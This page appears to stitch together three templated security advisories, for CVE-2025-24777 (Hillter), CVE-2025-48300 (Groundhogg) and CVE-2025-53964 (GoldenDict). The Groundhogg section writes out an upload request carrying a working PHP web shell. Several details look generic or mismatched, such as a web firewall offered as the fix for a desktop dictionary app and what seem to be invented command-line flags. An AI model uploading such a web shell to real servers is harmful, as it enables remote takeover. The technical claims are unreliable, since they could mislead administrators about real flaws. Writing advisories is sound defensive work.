Overview

An alarming cybersecurity vulnerability, CVE-2025-24777, has been identified and reported in the popular Awethemes Hillter. This vulnerability, titled ‘Deserialization of Untrusted Data’, exposes systems to significant risk, potentially leading to a full system compromise or severe data leakage. Awethemes Hillter users, particularly those operating versions up to 3.0.7, need to be aware of this threat and take immediate action to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-24777
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential full system compromise or severe data leakage

Affected Products

Product | Affected Versions

Awethemes Hillter | Up to and including 3.0.7

How the Exploit Works

The vulnerability exploits the deserialization of untrusted data in Awethemes Hillter. Deserialization is a process that converts byte streams into objects. In this case, an attacker can manipulate the byte stream to create malicious objects. When the server deserializes these objects, it can lead to object injection, where the attacker’s code is executed within the application’s context.

Conceptual Example Code

An example of how this vulnerability might be exploited is by sending a malicious payload to a vulnerable endpoint. This could look something like the following:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "SerializedObjectWithInjectedCode" }

In this example, `SerializedObjectWithInjectedCode` is a serialized object that contains malicious code. When the server deserializes this object, the malicious code is executed.

Mitigation Steps

To mitigate this vulnerability, users are advised to apply the vendor-provided patch immediately. As a temporary measure, users can deploy a Web Application Firewall (WAF) or Intrusion Detection Systems (IDS) to detect and prevent exploit attempts. However, this is only a temporary solution and users should apply the vendor’s patch as soon as possible to fully secure their systems.

Overview

The cybersecurity world is abuzz with the recent discovery of a severe vulnerability, CVE-2025-48300, that affects the popular plugin Groundhogg, deployed by numerous businesses globally for their marketing automation needs. This vulnerability, characterized by unrestrained upload of files with dangerous types, is critical as it enables a malicious actor to upload a web shell to a web server, thereby putting the system at potential risk of compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-48300
Severity: Critical (CVSS score 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Groundhogg | n/a through 4.2.1

How the Exploit Works

The exploit leverages the unrestricted file upload vulnerability in Groundhogg. Here, an attacker can upload a file with a dangerous type, such as a web shell, to the web server. This file can then execute arbitrary commands on behalf of the attacker, giving them control over the system. This vulnerability is extremely dangerous as it can lead to complete system compromise, including unauthorized access to sensitive data.

Conceptual Example Code

Here’s a simplified, conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request where an attacker uploads a web shell to the server:

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker is uploading a PHP web shell (shell.php) to the server. This web shell, once uploaded, can be accessed by the attacker to execute arbitrary commands on the server.

Mitigation and Prevention

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, businesses can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. Regularly updating and patching systems, ensuring a robust security posture, and educating users on the dangers of clicking on unknown links or opening suspicious attachments can also help prevent exploitation of such vulnerabilities.

Overview

The CVE-2025-53964 is a major security vulnerability discovered in GoldenDict versions 1.5.0 and 1.5.1. This vulnerability revolves around an exposed dangerous method that could potentially allow unauthorized access to read and modify files when a user adds a maliciously crafted dictionary and performs a search for any term within that dictionary. This exploit can lead to severe consequences like system compromise or data leakage. Given the severity and the potential impact of this vulnerability, it is critical for system and network administrators to understand the nuances and take appropriate measures to mitigate the risks.

Vulnerability Summary

CVE ID: CVE-2025-53964
Severity: Critical (9.6 CVSS Severity Score)
Attack Vector: Local file inclusion (LFI)
Privileges Required: User level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

GoldenDict | 1.5.0, 1.5.1

How the Exploit Works

The exploit leverages an exposed method within GoldenDict that allows for the reading and modifying of files. The attacker crafts a dictionary with malicious content and induces a user to add this dictionary to their GoldenDict application. When the user searches for any term within this crafted dictionary, the exposed method is exploited, enabling the attacker to read and modify files on the system.

Conceptual Example Code

A hypothetical example of how this vulnerability could be exploited is illustrated below. It’s a shell command that demonstrates the addition of a malicious dictionary and a subsequent search:

# Adding the maliciously crafted dictionary
$ goldendict --add-dictionary /path/to/malicious_dictionary.dz
# Searching for a term within the crafted dictionary
$ goldendict --search "malicious_term"

The above commands are purely conceptual and serve to illustrate the point. In an actual attack scenario, the malicious dictionary could contain code that exploits the exposed method to manipulate files on the user’s system.

Mitigation

To mitigate the risks associated with CVE-2025-53964, users are advised to apply the vendor patch as soon as it becomes available. In the interim, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation strategies. Regular monitoring of system logs and network traffic can also help in early detection of any potential exploitation attempts.
